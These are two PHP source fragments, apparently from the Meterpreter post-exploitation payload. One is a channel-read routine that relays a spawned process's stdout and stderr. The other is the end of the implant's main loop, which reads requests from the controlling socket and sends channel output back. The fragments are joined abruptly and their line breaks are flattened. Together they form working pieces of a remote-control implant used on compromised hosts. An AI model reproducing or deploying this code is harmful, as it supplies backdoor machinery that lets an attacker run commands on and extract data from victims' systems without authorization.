function channel_read($chan_id, $len) { $c = get_channel_by_id($chan_id); if ($c) { # First get any pending unread data from a previous read $ret = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); if (strlen($ret) > 0) { my_print("Had some leftovers: '{$ret}'"); } # Next grab stderr if we have it and it's not the same file descriptor # as stdout. if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { # Read as much as possible into the channel's data buffer $read = read($c[2]); $c['data'] .= $read; # Now slice out however much the client asked for. If there's any # left over, they'll get it next time. If it doesn't add up to # what they requested, oh well, they'll just have to call read # again. Looping until we get the requested number of bytes is # inconsistent with win32 meterpreter and causes the whole php # process to block waiting on input. $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # Then if there's still room, grab stdout if (strlen($ret) < $len and is_resource($c[1])) { # Same as above, but for stdout. This will overwrite a false # return value from reading stderr but the two should generally # EOF at the same time, so it should be fine. $read = read($c[1]); $c['data'] .= $read; $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # In the event of one or the other of the above read()s returning # false, make sure we have sent any pending unread data before saying # EOF by returning false. Note that if they didn't return false, it is # perfectly legitimate to return an empty string which just means # there's no data right now but we haven't hit EOF yet. if (false === $read and empty($ret)) { if (interacting($chan_id)) { handle_dead_resource_channel($c[1]); } return false; } return $ret; } else { return false; } }
# length of the whole packet, including header $len = $a['len']; # packet type should always be 0, i.e. PACKET_TYPE_REQUEST $ptype = $a['type']; while (strlen($request) < $a['len']) { $request .= read($msgsock, $len - strlen($request)); } #my_print("creating response"); $response = create_response($request); write($msgsock, $response); } else { my_print("not Msgsock: {$ready}"); $data = read($ready); my_print(sprintf("Read returned %s bytes", strlen($data))); if (false === $data) { $request = handle_dead_resource_channel($ready); write($msgsock, $request); remove_reader($ready); } elseif (strlen($data) == 0) { remove_reader($ready); } else { $request = handle_resource_read_channel($ready, $data); my_print("Got some data from a channel that needs to be passed back to the msgsock"); write($msgsock, $request); } } } $r = $GLOBALS['readers']; } # end main loop my_print("Finished");